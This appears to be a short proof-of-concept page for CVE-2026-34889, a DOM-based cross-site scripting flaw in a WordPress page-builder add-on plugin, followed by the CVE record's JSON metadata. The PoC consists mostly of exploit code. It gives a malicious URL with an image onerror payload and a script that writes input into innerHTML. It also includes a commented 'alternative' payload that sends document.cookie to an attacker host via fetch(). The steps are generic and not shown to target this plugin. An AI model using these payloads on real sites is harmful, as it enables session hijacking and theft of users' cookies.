CVE-2026-34889

<!-- PoC for CVE-2026-34889 (DOM-Based XSS) Description: Injecting a payload via a vulnerable URL parameter that is reflected in the DOM without sanitization. --> <!-- Step 1: Identify the vulnerable parameter in the URL (e.g., 'utm_content' or a custom param) --> <!-- Step 2: Craft the malicious URL --> <!-- http://target-site/page/?vulnerable_param=<img src=x onerror=alert(1)> --> <!-- Step 3: The following payload is executed in the victim's browser context --> <script> // Simulating the vulnerable sink where user input is unsafely inserted let userInput = '<img src=x onerror=alert(1)>'; document.body.innerHTML = userInput; </script> <!-- Alternative Payload to steal cookies (demonstration only) --> <!-- <svg onload=fetch('http://attacker-site/?c='+document.cookie)> -->

{"cve": {"id": "CVE-2026-34889", "sourceIdentifier": "[email protected]", "published": "2026-04-01T09:16:17.457", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force Ultimate Addons for WPBakery Page Builder allows DOM-Based XSS.This issue affects Ultimate Addons for WPBakery Page Builder: from n/a before 3.21.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/ultimate_vc_addons/vulnerability/wordpress-ultimate-addons-for-wpbakery-page-builder-plugin-3-21-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}